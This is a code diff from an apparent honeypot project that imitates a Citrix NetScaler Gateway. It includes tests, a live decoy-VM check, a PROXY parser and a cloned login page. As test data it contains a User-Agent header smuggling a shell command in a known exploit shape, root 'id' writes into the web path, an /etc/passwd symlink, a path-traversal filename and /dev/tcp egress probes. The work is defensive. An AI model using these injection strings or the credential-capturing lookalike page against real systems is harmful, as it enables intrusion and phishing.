(root / 'artifacts' / (sha + '.bin')).write_bytes(payload)
|
||||||
|
with (root / 'events.jsonl').open('w') as stream:
|
||||||
|
for event, peer, has_evidence in (('connection', '8.8.8.8', False),
|
||||||
|
('request', '1.1.1.1', False),
|
||||||
|
('simulated_command', '8.8.8.8', True)):
|
||||||
|
row = {'event': event, 'timestamp': '2026-09-28T00:00:00.000000+00:00', 'peer': peer,
|
||||||
|
'command': 'id > /netscaler/ns_gui/x'}
|
||||||
|
if has_evidence:
|
||||||
|
row['evidence'] = {'sha256': sha, 'bytes': len(payload)}
|
||||||
|
stream.write(json.dumps(row) + '\n')
|
||||||
|
stream.write('{not json\n')
|
||||||
|
server = http.server.ThreadingHTTPServer(('127.0.0.1', 0), viewer.Handler)
|
||||||
|
server.journal = root / 'events.jsonl'
|
||||||
|
server.artifacts = root / 'artifacts'
|
||||||
|
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def get(path):
|
||||||
|
connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
|
||||||
|
connection.request('GET', path)
|
||||||
|
response = connection.getresponse()
|
||||||
|
result = response.status, response.read()
|
||||||
|
connection.close()
|
||||||
|
return result
|
||||||
|
|
||||||
|
def data(path):
|
||||||
|
return json.loads(get(path)[1])
|
||||||
|
|
||||||
|
try:
|
||||||
|
status, body = get('/')
|
||||||
|
assert status == 200 and b'CitrixPot' in body and b'full-text search' in body
|
||||||
|
all_events = data('/api/events?size=10')
|
||||||
|
assert all_events['scanned'] == 4 and len(all_events['events']) == 3
|
||||||
|
# newest first
|
||||||
|
assert all_events['events'][0]['event'] == 'simulated_command'
|
||||||
|
# pagination
|
||||||
|
page0 = data('/api/events?size=2&page=0')
|
||||||
|
page1 = data('/api/events?size=2&page=1')
|
||||||
|
assert len(page0['events']) == 2 and page0['has_more'] is True
|
||||||
|
assert len(page1['events']) == 1 and page1['has_more'] is False
|
||||||
|
assert page0['events'][0]['event'] == 'simulated_command'
|
||||||
|
# filters
|
||||||
|
assert len(data('/api/events?event=request')['events']) == 1
|
||||||
|
assert len(data('/api/events?q=simulated')['events']) == 1
|
||||||
|
assert len(data('/api/events?q=command')['events']) == 3
|
||||||
|
assert len(data('/api/events?peer=1.1.1.1')['events']) == 1
|
||||||
|
assert len(data('/api/events?payload=1')['events']) == 1
|
||||||
|
# multi-term full-text (all terms must match)
|
||||||
|
assert len(data('/api/events?q=id%20netscaler')['events']) == 3
|
||||||
|
assert len(data('/api/events?q=id%20nonexistent')['events']) == 0
|
||||||
|
# artifacts
|
||||||
|
status, body = get('/api/artifact/' + sha)
|
||||||
|
assert status == 200 and body == payload
|
||||||
|
status, body = get('/api/artifact/' + sha + '?inline=1')
|
||||||
|
assert status == 200 and b'command-output' in body
|
||||||
|
assert get('/api/artifact/not-a-hash')[0] == 404
|
||||||
|
assert get('/api/artifact/' + 'a' * 64)[0] == 404
|
||||||
|
assert get('/nope')[0] == 404
|
||||||
|
# hide operator IPs
|
||||||
|
server.hide_ips = {'8.8.8.8'}
|
||||||
|
hidden_on = data('/api/events?hide=1')
|
||||||
|
assert len(hidden_on['events']) == 1 and hidden_on['hidden'] == 1
|
||||||
|
hidden_off = data('/api/events?hide=0')
|
||||||
|
assert len(hidden_off['events']) == 3 and hidden_off['hidden'] == 0
|
||||||
|
finally:
|
||||||
|
server.shutdown()
|
||||||
|
server.server_close()
|
||||||
|
thread.join(3)
|
||||||
|
print('PASS: local read-only viewer: paged, filtered, multi-term search and inert artifacts')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,107 @@
|
|||||||
|
"""Run locally: fake SSH only; never runs received commands or guest.main."""
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import pathlib
|
||||||
|
import stat
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
import time
|
||||||
|
from evidence import EvidenceError
|
||||||
|
from honeypot import Engine
|
||||||
|
from vm_backend import VMBackend, LIMIT
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
with tempfile.TemporaryDirectory() as directory:
|
||||||
|
root = pathlib.Path(directory)
|
||||||
|
fake = root / 'transport.py'
|
||||||
|
fake.write_text('''import sys,json,base64
|
||||||
|
r=json.loads(sys.stdin.readline())
|
||||||
|
if r.get('command') == 'invalid-event':
|
||||||
|
print(json.dumps({'event':'response','base64':base64.b64encode(b'bad').decode()}))
|
||||||
|
else:
|
||||||
|
print(json.dumps({'event':'guest_stdout', 'peer':'forged', 'request_id':'forged',
|
||||||
|
'telemetry_trust':'trusted', 'evidence':{'path':'/forged'},
|
||||||
|
'base64':r.get('base64',base64.b64encode(b'fixture').decode())}))
|
||||||
|
''')
|
||||||
|
config = root / 'config.json'
|
||||||
|
config.write_text(json.dumps(dict(host='192.0.2.1', vmid=223, identity='/unused', known_hosts='/unused',
|
||||||
|
allowed_peers=str(root / 'peers.json'), stop_file=str(root / 'STOP'))))
|
||||||
|
events = []
|
||||||
|
engine = Engine(lambda event, **data: events.append(dict(event=event, **data)), delay=0)
|
||||||
|
backend = VMBackend(config, lambda event, **data: events.append(dict(event=event, **data)))
|
||||||
|
# Only test fixtures run locally. Production constructs SSH argv with a fixed remote command.
|
||||||
|
assert backend.ssh[-1] == 'python3 /opt/decoy/guest.py' and backend.ssh[0] == 'ssh'
|
||||||
|
assert 'StrictHostKeyChecking=yes' in backend.ssh
|
||||||
|
backend.ssh = [sys.executable, str(fake)]
|
||||||
|
ctx = dict(peer='198.51.100.4', request_id='request-one', session='session-one')
|
||||||
|
payload = b'\x00\xff' * (1024 * 1024) # proves upload beyond old 131k request limit
|
||||||
|
backend.upload(payload, ctx)
|
||||||
|
row = events[-1]
|
||||||
|
assert row['content'] == payload and row['peer'] == ctx['peer']
|
||||||
|
assert row['request_id'] == ctx['request_id'] and row['telemetry_trust'] == 'guest-reported'
|
||||||
|
assert 'evidence' not in row and row['guest_shared']
|
||||||
|
assert backend.read('/netscaler/ns_gui/marker', ctx) == b'fixture'
|
||||||
|
try:
|
||||||
|
backend.upload(b'x' * (LIMIT + 1), ctx)
|
||||||
|
raise AssertionError('upload cap')
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
list(backend.records(dict(action='execute', command='invalid-event'), ctx))
|
||||||
|
raise AssertionError('guest event whitelist')
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
for i in range(130):
|
||||||
|
backend.register_peer('198.51.100.' + str(i))
|
||||||
|
peers = json.loads((root / 'peers.json').read_text())
|
||||||
|
assert len(peers) == 128 and peers[-1] == '198.51.100.129'
|
||||||
|
assert stat.S_IMODE((root / 'peers.json').stat().st_mode) == 0o600
|
||||||
|
backend.register_peer('::1')
|
||||||
|
assert json.loads((root / 'peers.json').read_text()) == peers
|
||||||
|
# Mode dispatch with an inert transport: source/request context survives the delayed queue.
|
||||||
|
engine.backend = backend
|
||||||
|
state = engine.session(ctx['peer'])
|
||||||
|
marker = root / 'must-not-exist'
|
||||||
|
state.pending.append((0, 'echo fixture > ' + str(marker), ctx))
|
||||||
|
engine.tick()
|
||||||
|
deadline = time.monotonic() + 3
|
||||||
|
while backend.threads and time.monotonic() < deadline:
|
||||||
|
time.sleep(.01)
|
||||||
|
assert not backend.threads and not marker.exists()
|
||||||
|
assert any(e['event'] == 'execution_start' and e['request_id'] == 'request-one' for e in events)
|
||||||
|
assert not any(e['event'] == 'simulated_command' for e in events)
|
||||||
|
# A full evidence store latches STOP, calls server failure hook, and disables new transport.
|
||||||
|
failures = []
|
||||||
|
def fail_emit(*args, **kwargs):
|
||||||
|
raise EvidenceError('test quota')
|
||||||
|
backend.emit = fail_emit
|
||||||
|
backend.on_failure = failures.append
|
||||||
|
try:
|
||||||
|
backend.read('/netscaler/ns_gui/marker', ctx)
|
||||||
|
raise AssertionError('evidence failure swallowed')
|
||||||
|
except EvidenceError:
|
||||||
|
pass
|
||||||
|
assert backend.closed and (root / 'STOP').exists() and failures
|
||||||
|
assert not backend.active
|
||||||
|
# Losing execution telemetry must latch STOP even when the evidence sink still works.
|
||||||
|
config_data = json.loads(config.read_text())
|
||||||
|
config_data['stop_file'] = str(root / 'STOP-transport')
|
||||||
|
config.write_text(json.dumps(config_data))
|
||||||
|
broken = VMBackend(config, lambda event, **data: events.append(dict(event=event, **data)))
|
||||||
|
broken.ssh = [sys.executable, str(fake)]
|
||||||
|
broken.on_failure = failures.append
|
||||||
|
broken.execute('invalid-event', ctx)
|
||||||
|
deadline = time.monotonic() + 3
|
||||||
|
while broken.threads and time.monotonic() < deadline:
|
||||||
|
time.sleep(.01)
|
||||||
|
assert broken.closed and (root / 'STOP-transport').exists()
|
||||||
|
assert any(e['event'] == 'execution_error' for e in events)
|
||||||
|
# Guest entrypoint is inert on non-guest systems (no import side effects).
|
||||||
|
import guest
|
||||||
|
assert guest.ACTIVE is None
|
||||||
|
print('PASS: bounded fake SSH, large upload, guest sanitization, mode dispatch, correlation, allowlist, fail-closed')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
+139
@@ -0,0 +1,139 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Harmless VM integration check. Run ONLY on the dedicated collector after containment is ready."""
|
||||||
|
import argparse
|
||||||
|
import hashlib
|
||||||
|
import http.client
|
||||||
|
import pathlib
|
||||||
|
import secrets
|
||||||
|
import tempfile
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from evidence import Evidence
|
||||||
|
from honeypot import Engine, Server
|
||||||
|
from vm_backend import VMBackend
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument('--vm-config', required=True)
|
||||||
|
args = parser.parse_args()
|
||||||
|
marker = pathlib.Path('/etc/decoy-collector')
|
||||||
|
if not marker.is_file() or marker.is_symlink():
|
||||||
|
raise SystemExit('Refusing live test outside dedicated collector')
|
||||||
|
token = secrets.token_hex(8)
|
||||||
|
with tempfile.TemporaryDirectory(prefix='decoy-live-') as folder:
|
||||||
|
evidence = Evidence(folder, quota=512 * 1024 * 1024)
|
||||||
|
rows = []
|
||||||
|
def sink(event, **data):
|
||||||
|
evidence.emit(event, **data)
|
||||||
|
rows.append(dict(event=event, **data))
|
||||||
|
engine = Engine(sink, delay=0, save=evidence.save)
|
||||||
|
backend = VMBackend(args.vm_config, engine.emit)
|
||||||
|
engine.backend = backend
|
||||||
|
# Test-only HTTP traffic must not overwrite the production reverse-peer authorization file.
|
||||||
|
backend.register_peer = lambda peer: None
|
||||||
|
server = Server(('127.0.0.1', 0), engine)
|
||||||
|
backend.on_failure = server.stop_capture
|
||||||
|
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
def payload(row):
|
||||||
|
return (pathlib.Path(folder) / row['evidence']['artifact']).read_bytes()
|
||||||
|
def run(command):
|
||||||
|
request_id = secrets.token_hex(16)
|
||||||
|
ctx = dict(request_id=request_id, peer='192.0.2.42', peer_port=12345)
|
||||||
|
with engine.lock:
|
||||||
|
state = engine.session(ctx['peer'])
|
||||||
|
ctx['session'] = state.sid
|
||||||
|
state.pending.append((0, command, ctx))
|
||||||
|
engine.tick()
|
||||||
|
deadline = time.monotonic() + 20
|
||||||
|
while time.monotonic() < deadline:
|
||||||
|
result = [r for r in rows if r.get('request_id') == request_id]
|
||||||
|
if any(r['event'] in ('execution_error', 'guest_execution_limit') for r in result):
|
||||||
|
raise AssertionError('guest execution failed: ' + request_id)
|
||||||
|
if any(r['event'] == 'execution_end' for r in result):
|
||||||
|
assert all(r.get('peer') == '192.0.2.42' and r.get('session') == state.sid for r in result)
|
||||||
|
assert all(r.get('execution_id') for r in result)
|
||||||
|
return b''.join(payload(r) for r in result if r['event'] == 'guest_stdout'), result
|
||||||
|
time.sleep(.05)
|
||||||
|
raise AssertionError('live command did not complete within20s')
|
||||||
|
def request(method, path, body=None, headers=None):
|
||||||
|
conn = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=25)
|
||||||
|
try:
|
||||||
|
conn.request(method, path, body, headers or {})
|
||||||
|
response = conn.getresponse()
|
||||||
|
return response.status, response.read()
|
||||||
|
finally:
|
||||||
|
conn.close()
|
||||||
|
try:
|
||||||
|
path = '/netscaler/ns_gui/live-' + token + '.txt'
|
||||||
|
output, result = run('id > ' + path + '; sleep 1; cat ' + path)
|
||||||
|
assert b'uid=0(root)' in output
|
||||||
|
captured = [r for r in result if r['event'] == 'guest_file_version' and r.get('path') == path]
|
||||||
|
assert captured and b'uid=0(root)' in payload(captured[-1])
|
||||||
|
ctx = dict(request_id='read-' + token, peer='192.0.2.42', session='live-test')
|
||||||
|
assert b'uid=0(root)' in backend.read(path, ctx)
|
||||||
|
status, body = request('GET', '/live-' + token + '.txt')
|
||||||
|
assert status == 200 and b'uid=0(root)' in body
|
||||||
|
# Harmless User-Agent log-poisoning shape from the public write-up; loopback decoy only.
|
||||||
|
ua_path = '/netscaler/ns_gui/ua-' + token + '.txt'
|
||||||
|
ua = 'pitboss PPE unexpectedly died NSPPE;:`id>' + ua_path + '`;# X'
|
||||||
|
assert request('GET', '/', headers={'User-Agent': ua})[0] == 200
|
||||||
|
candidate = next(r for r in reversed(rows) if r['event'] == 'injection_candidate')
|
||||||
|
assert candidate['source'] == 'header:User-Agent' and candidate['value'] == ua
|
||||||
|
assert candidate['peer'] == '127.0.0.1' and candidate['peer_port'] > 0
|
||||||
|
assert request('GET', '/ua-' + token + '.txt')[0] == 404
|
||||||
|
engine.tick()
|
||||||
|
deadline = time.monotonic() + 20
|
||||||
|
while time.monotonic() < deadline:
|
||||||
|
matching = [r for r in rows if r.get('request_id') == candidate['request_id']]
|
||||||
|
if any(r['event'] == 'execution_error' for r in matching):
|
||||||
|
raise AssertionError('User-Agent guest execution failed')
|
||||||
|
if any(r['event'] == 'execution_end' for r in matching):
|
||||||
|
break
|
||||||
|
time.sleep(.05)
|
||||||
|
else:
|
||||||
|
raise AssertionError('User-Agent execution timeout')
|
||||||
|
start = next(r for r in matching if r['event'] == 'execution_start')
|
||||||
|
assert start['command'] == 'id>' + ua_path
|
||||||
|
assert all(start[k] == candidate[k] for k in ('request_id', 'session', 'peer', 'peer_port'))
|
||||||
|
status, body = request('GET', '/ua-' + token + '.txt')
|
||||||
|
assert status == 200 and b'uid=0(root)' in body
|
||||||
|
binary = b'\x00\xffinert-live-upload-' + token.encode()
|
||||||
|
digest = hashlib.sha256(binary).hexdigest()
|
||||||
|
multipart = (b'--boundary\r\nContent-Disposition: form-data; name="file"; filename="../../escape.bin"\r\n'
|
||||||
|
b'Content-Type: application/octet-stream\r\n\r\n' + binary + b'\r\n--boundary--\r\n')
|
||||||
|
assert request('POST', '/upload', multipart, {'Content-Type': 'multipart/form-data; boundary=boundary'})[0] == 404
|
||||||
|
upload = next(r for r in rows if r['event'] == 'upload')
|
||||||
|
assert upload['filename'] == '../../escape.bin' and payload(upload) == binary
|
||||||
|
materialized = next(r for r in rows if r['event'] == 'guest_upload')
|
||||||
|
assert materialized['path'] == '/var/tmp/uploads/' + digest + '.bin'
|
||||||
|
assert materialized['request_id'] == upload['request_id'] and materialized['peer'] == '127.0.0.1'
|
||||||
|
output, _ = run('sha256sum /var/tmp/uploads/' + digest + '.bin')
|
||||||
|
assert output.startswith(digest.encode())
|
||||||
|
run('ln -s /etc/passwd /netscaler/ns_gui/link-' + token)
|
||||||
|
assert request('GET', '/link-' + token)[0] == 404
|
||||||
|
endpoints = [('192.0.2.10', 22), ('198.51.100.10', 22), ('169.254.169.254', 80),
|
||||||
|
('10.0.2.2', 22), ('203.0.113.1', 25)]
|
||||||
|
# Bypass guest NAT via relay UID: prove QEMU restrict blocks direct egress even if guest root disables interception.
|
||||||
|
commands = []
|
||||||
|
for host, port in endpoints:
|
||||||
|
endpoint = host + ':' + str(port)
|
||||||
|
commands.append("if runuser -u decoy-relay -- timeout 2 bash -c 'echo probe >/dev/tcp/" + host + '/' + str(port)
|
||||||
|
+ "' 2>/dev/null; then echo UNEXPECTED_ALLOWED " + endpoint
|
||||||
|
+ '; else echo BLOCKED ' + endpoint + '; fi')
|
||||||
|
output, _ = run('; '.join(commands))
|
||||||
|
assert b'UNEXPECTED_ALLOWED' not in output
|
||||||
|
assert all(('BLOCKED ' + h + ':' + str(p)).encode() in output for h, p in endpoints)
|
||||||
|
run('rm -f ' + path + ' ' + ua_path + ' /netscaler/ns_gui/link-' + token + ' /var/tmp/uploads/' + digest + '.bin')
|
||||||
|
print('PASS: real root command, offguest file/stdout evidence, HTTP file, User-Agent trigger, binary multipart, source correlation, symlink refusal, five denied egress probes')
|
||||||
|
finally:
|
||||||
|
backend.close()
|
||||||
|
server.shutdown()
|
||||||
|
server.server_close()
|
||||||
|
thread.join(timeout=3)
|
||||||
|
evidence.close()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
"""Bounded PROXY-v1 parser and trusted reverse-proxy client-IP extraction."""
|
||||||
|
import ipaddress
|
||||||
|
|
||||||
|
CLIENT_HEADERS = ('CF-Connecting-IP', 'True-Client-IP', 'X-Real-IP')
|
||||||
|
|
||||||
|
|
||||||
|
def public_ip(value):
|
||||||
|
"""Return a normalized global client IP, or None for private/spoofed values."""
|
||||||
|
try:
|
||||||
|
ip = ipaddress.ip_address(value.strip())
|
||||||
|
except (ValueError, AttributeError):
|
||||||
|
return None
|
||||||
|
if not ip.is_global or ip.is_multicast:
|
||||||
|
return None
|
||||||
|
return str(ip)
|
||||||
|
|
||||||
|
|
||||||
|
def forwarded_client(headers):
|
||||||
|
"""Real client IP from a trusted proxy. Priority: single-hop headers, then nearest XFF hop."""
|
||||||
|
for name in CLIENT_HEADERS:
|
||||||
|
value = headers.get(name)
|
||||||
|
if value:
|
||||||
|
ip = public_ip(value)
|
||||||
|
if ip:
|
||||||
|
return ip, name
|
||||||
|
for hop in reversed((headers.get('X-Forwarded-For') or '').split(',')):
|
||||||
|
ip = public_ip(hop)
|
||||||
|
if ip:
|
||||||
|
return ip, 'X-Forwarded-For'
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
|
||||||
|
def source(connection, transport, trusted):
|
||||||
|
if transport[0] != trusted:
|
||||||
|
raise ValueError('untrusted PROXY transport')
|
||||||
|
header = bytearray()
|
||||||
|
while len(header) < 108:
|
||||||
|
value = connection.recv(1)
|
||||||
|
if not value:
|
||||||
|
raise ValueError('incomplete PROXY header')
|
||||||
|
header.extend(value)
|
||||||
|
if header.endswith(b'\r\n'):
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
raise ValueError('oversize PROXY header')
|
||||||
|
fields = header.decode('ascii').strip().split(' ')
|
||||||
|
if len(fields) != 6 or fields[0] != 'PROXY' or fields[1] not in ('TCP4', 'TCP6'):
|
||||||
|
raise ValueError('invalid PROXY header')
|
||||||
|
version = 4 if fields[1] == 'TCP4' else 6
|
||||||
|
if any(ipaddress.ip_address(ip).version != version for ip in fields[2:4]):
|
||||||
|
raise ValueError('PROXY address family mismatch')
|
||||||
|
ports = [int(value) for value in fields[4:]]
|
||||||
|
if any(not 0 < port <= 65535 for port in ports):
|
||||||
|
raise ValueError('invalid PROXY port')
|
||||||
|
return (fields[2], ports[0]), bytes(header)
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 25 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 50 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
@@ -0,0 +1,64 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html lang="de">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<title>NetScaler AAA</title>
|
||||||
|
<link rel="icon" href="/logon/LogonPoint/receiver/images/common/icon_vpn.ico" sizes="16x16 32x32 48x48 64x64" type="image/vnd.microsoft.icon">
|
||||||
|
<link rel="shortcut icon" href="/logon/LogonPoint/receiver/images/common/icon_vpn.ico" type="image/vnd.microsoft.icon">
|
||||||
|
<style>
|
||||||
|
* { box-sizing: border-box; }
|
||||||
|
html, body { min-height: 100%; margin: 0; }
|
||||||
|
body { background: #302c41 url('/logon/LogonPoint/receiver/images/common/ReceiverFullScreenBackground.jpg') center / cover fixed;
|
||||||
|
font-family: "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif; color: #fff; }
|
||||||
|
main { min-height: 100vh; display: flex; align-items: center; }
|
||||||
|
.band { width: 100%; min-height: 350px; background: rgba(58, 54, 65, .86); display: flex; align-items: center; }
|
||||||
|
.layout { width: min(1086px, calc(100% - 64px)); margin: auto; display: grid; grid-template-columns: 258px 570px; align-items: center; }
|
||||||
|
.logo { width: 160px; height: auto; }
|
||||||
|
h1 { font-size: 18px; font-weight: 400; margin: 0 0 18px; }
|
||||||
|
.row { display: grid; grid-template-columns: 185px 1fr; align-items: center; margin-bottom: 6px; }
|
||||||
|
label { color: #bdbbc2; font-size: 16px; }
|
||||||
|
input { width: 100%; height: 44px; border: 1px solid #ddd; background: white; color: #111; border-radius: 0; padding: 8px 15px; font: inherit; }
|
||||||
|
input:focus-visible { outline: 2px solid #79cce2; outline-offset: 2px; }
|
||||||
|
button { display: block; width: calc(100% - 185px); margin: 26px 0 0 185px; height: 45px; border: 0; border-radius: 0;
|
||||||
|
background: #49a0bb; color: white; font: 600 16px "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif; cursor: pointer; }
|
||||||
|
button:hover { background: #398aa4; }
|
||||||
|
button:focus-visible { outline: 2px solid white; outline-offset: 3px; }
|
||||||
|
button:disabled { cursor: wait; opacity: .75; }
|
||||||
|
#message { margin: 12px 0 0 185px; font-size: 14px; color: #fff; }
|
||||||
|
#message:empty { display: none; }
|
||||||
|
@media (max-width: 950px) {
|
||||||
|
.layout { width: min(570px, calc(100% - 48px)); display: block; padding: 40px 0; }
|
||||||
|
.logo { margin-bottom: 28px; }
|
||||||
|
}
|
||||||
|
@media (max-width: 540px) {
|
||||||
|
.row { display: block; margin-bottom: 16px; }
|
||||||
|
label { display: block; margin-bottom: 7px; }
|
||||||
|
button { width: 100%; margin-left: 0; }
|
||||||
|
#message { margin-left: 0; }
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script src="/vpn/js/rdx.js"></script>
|
||||||
|
<script src="/vpn/js/gateway_login_view.js"></script>
|
||||||
|
<script src="/logon/LogonPoint/login.js" defer></script>
|
||||||
|
<script>var _ctxstxt_CitrixCopyright = 'Copyright (c) Citrix Systems, Inc.';</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<main>
|
||||||
|
<section class="band" aria-label="Citrix Gateway">
|
||||||
|
<div class="layout">
|
||||||
|
<img class="logo" src="/vpn/media/citrixgateway_logo_white.png" alt="Citrix Gateway">
|
||||||
|
<form id="login-form" method="post" action="/nf/auth/doAuthentication.do" autocomplete="off">
|
||||||
|
<h1>Melden Sie sich an</h1>
|
||||||
|
<div class="row"><label for="login">Benutzername:</label><input id="login" name="login" required autofocus autocomplete="off" spellcheck="false"></div>
|
||||||
|
<div class="row"><label for="passwd">Kennwort:</label><input id="passwd" name="passwd" type="password" required autocomplete="off"></div>
|
||||||
|
<input type="hidden" name="savecredentials" value="false">
|
||||||
|
<button id="nsg-x1-logon-button" name="nsg-x1-logon-button" value="Log On" type="submit">Anmelden</button>
|
||||||
|
<p id="message" role="status" aria-live="polite"></p>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
'use strict';
|
||||||
|
const form = document.getElementById('login-form');
|
||||||
|
const button = document.getElementById('nsg-x1-logon-button');
|
||||||
|
const message = document.getElementById('message');
|
||||||
|
form.addEventListener('submit', async event => {
|
||||||
|
event.preventDefault();
|
||||||
|
button.disabled = true;
|
||||||
|
message.textContent = '';
|
||||||
|
try {
|
||||||
|
const body = new URLSearchParams(new FormData(form));
|
||||||
|
body.set('nsg-x1-logon-button', 'Log On');
|
||||||
|
const response = await fetch('/nf/auth/doAuthentication.do', {
|
||||||
|
method: 'POST', body, credentials: 'same-origin', redirect: 'error',
|
||||||
|
signal: AbortSignal.timeout(10000)
|
||||||
|
});
|
||||||
|
if (!response.ok) throw new Error('Request failed');
|
||||||
|
message.textContent = 'Anmeldung fehlgeschlagen. Überprüfen Sie Ihre Zugangsdaten.';
|
||||||
|
} catch {
|
||||||
|
message.textContent = 'Die Anmeldung ist derzeit nicht möglich. Versuchen Sie es erneut.';
|
||||||
|
} finally {
|
||||||
|
form.elements.passwd.value = '';
|
||||||
|
button.disabled = false;
|
||||||
|
}
|
||||||
|
});
|
||||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 2.2 KiB |
@@ -0,0 +1,19 @@
|
|||||||
|
{
|
||||||
|
"retrieved": "2026-09-28",
|
||||||
|
"reference": "public Citrix Gateway (NetScaler) login page static assets, retrieved 2026-09-28",
|
||||||
|
"assets": {
|
||||||
|
"background.jpg": {
|
||||||
|
"sha256": "17197024d7ccdb50bd23b0e4cfcd38bf818f0c1644795474460bb1b5c95906d5",
|
||||||
|
"bytes": 50806
|
||||||
|
},
|
||||||
|
"logo.png": {
|
||||||
|
"sha256": "4a2cae9a9c5a586f2bd5dc6140e34cac6b18be6b617c602a4a48321452c18c1c",
|
||||||
|
"bytes": 2300
|
||||||
|
},
|
||||||
|
"favicon.ico": {
|
||||||
|
"sha256": "80c297534c925e1973052b72584a929a0b68c988bfcde7c1728ad72fc1f3e039",
|
||||||
|
"bytes": 32038
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"note": "Original public static images; HTML and JS locally implemented. No upstream auth or session tokens retained."
|
||||||
|
}
|
||||||
@@ -0,0 +1,309 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Read-only local evidence viewer. Never exposed to attacker traffic; loopback by default."""
|
||||||
|
import argparse
|
||||||
|
import http.server
|
||||||
|
import ipaddress
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import pathlib
|
||||||
|
import re
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
import urllib.parse
|
||||||
|
|
||||||
|
from env_file import load, env_int
|
||||||
|
|
||||||
|
PAGE = r'''<!doctype html>
|
||||||
|
<html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
|
||||||
|
<meta name="robots" content="noindex,nofollow"><title>CitrixPot analyst console</title>
|
||||||
|
<style>
|
||||||
|
:root{color-scheme:dark}*{box-sizing:border-box}
|
||||||
|
body{margin:0;font:12.5px/1.45 -apple-system,Segoe UI,Roboto,Helvetica,Arial,sans-serif;background:#0b0e13;color:#d7dce3}
|
||||||
|
header{position:sticky;top:0;background:#121722;border-bottom:1px solid #222c3a;padding:8px 12px;display:flex;gap:8px;align-items:center;flex-wrap:wrap;z-index:5}
|
||||||
|
h1{font-size:13px;margin:0 8px 0 0;font-weight:700;color:#fff;letter-spacing:.3px}
|
||||||
|
input,select,button{background:#0b0e13;color:#d7dce3;border:1px solid #2c3646;border-radius:6px;padding:5px 8px;font:inherit}
|
||||||
|
input#q{min-width:300px}button{cursor:pointer}button:hover:not(:disabled){border-color:#4b5a6b}button:disabled{opacity:.4;cursor:default}
|
||||||
|
.pill{font-size:11px;color:#9aa7b6;background:#17202c;border-radius:999px;padding:3px 9px;display:inline-flex;gap:5px;align-items:center}
|
||||||
|
main{display:grid;grid-template-columns:minmax(420px,1fr) minmax(460px,1.1fr);height:calc(100vh - 50px)}
|
||||||
|
#list{overflow:auto;border-right:1px solid #222c3a}
|
||||||
|
table{border-collapse:collapse;width:100%;table-layout:fixed}
|
||||||
|
th,td{text-align:left;padding:5px 9px;border-bottom:1px solid #161c25;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
|
||||||
|
th{position:sticky;top:0;background:#121722;color:#8896a6;font-weight:600;z-index:1;font-size:11px;text-transform:uppercase;letter-spacing:.4px}
|
||||||
|
tr{cursor:pointer}tr:hover{background:#141b25}tr.sel{background:#1b2736}
|
||||||
|
td.t{color:#78869a;width:98px}td.e{font-weight:600;color:#6fb6d8;width:150px}td.p{color:#9aa7b6;width:128px}
|
||||||
|
#detail{overflow:auto;padding:12px 14px}
|
||||||
|
#detail h2{font-size:11px;text-transform:uppercase;letter-spacing:.5px;color:#8896a6;margin:14px 0 6px;border-bottom:1px solid #222c3a;padding-bottom:4px}
|
||||||
|
pre{white-space:pre-wrap;word-break:break-all;background:#070a0e;border:1px solid #222c3a;border-radius:8px;padding:10px;font:12px/1.5 ui-monospace,SFMono-Regular,Menlo,monospace;margin:0;max-height:46vh;overflow:auto}
|
||||||
|
a{color:#6fb6d8}#artbar{display:flex;gap:6px;align-items:center;flex-wrap:wrap;margin-bottom:6px}
|
||||||
|
@media(max-width:980px){main{grid-template-columns:1fr}#detail{display:none}}
|
||||||
|
</style></head><body>
|
||||||
|
<header>
|
||||||
|
<h1>CitrixPot</h1>
|
||||||
|
<input id="q" placeholder="full-text search: all terms must match (command, path, header, filename, IP...)">
|
||||||
|
<select id="event"><option value="">all events</option></select>
|
||||||
|
<input id="peer" placeholder="peer IP" style="width:110px">
|
||||||
|
<label class="pill"><input type="checkbox" id="payload"> payloads only</label>
|
||||||
|
<label class="pill"><input type="checkbox" id="hide" checked> hide our IPs</label>
|
||||||
|
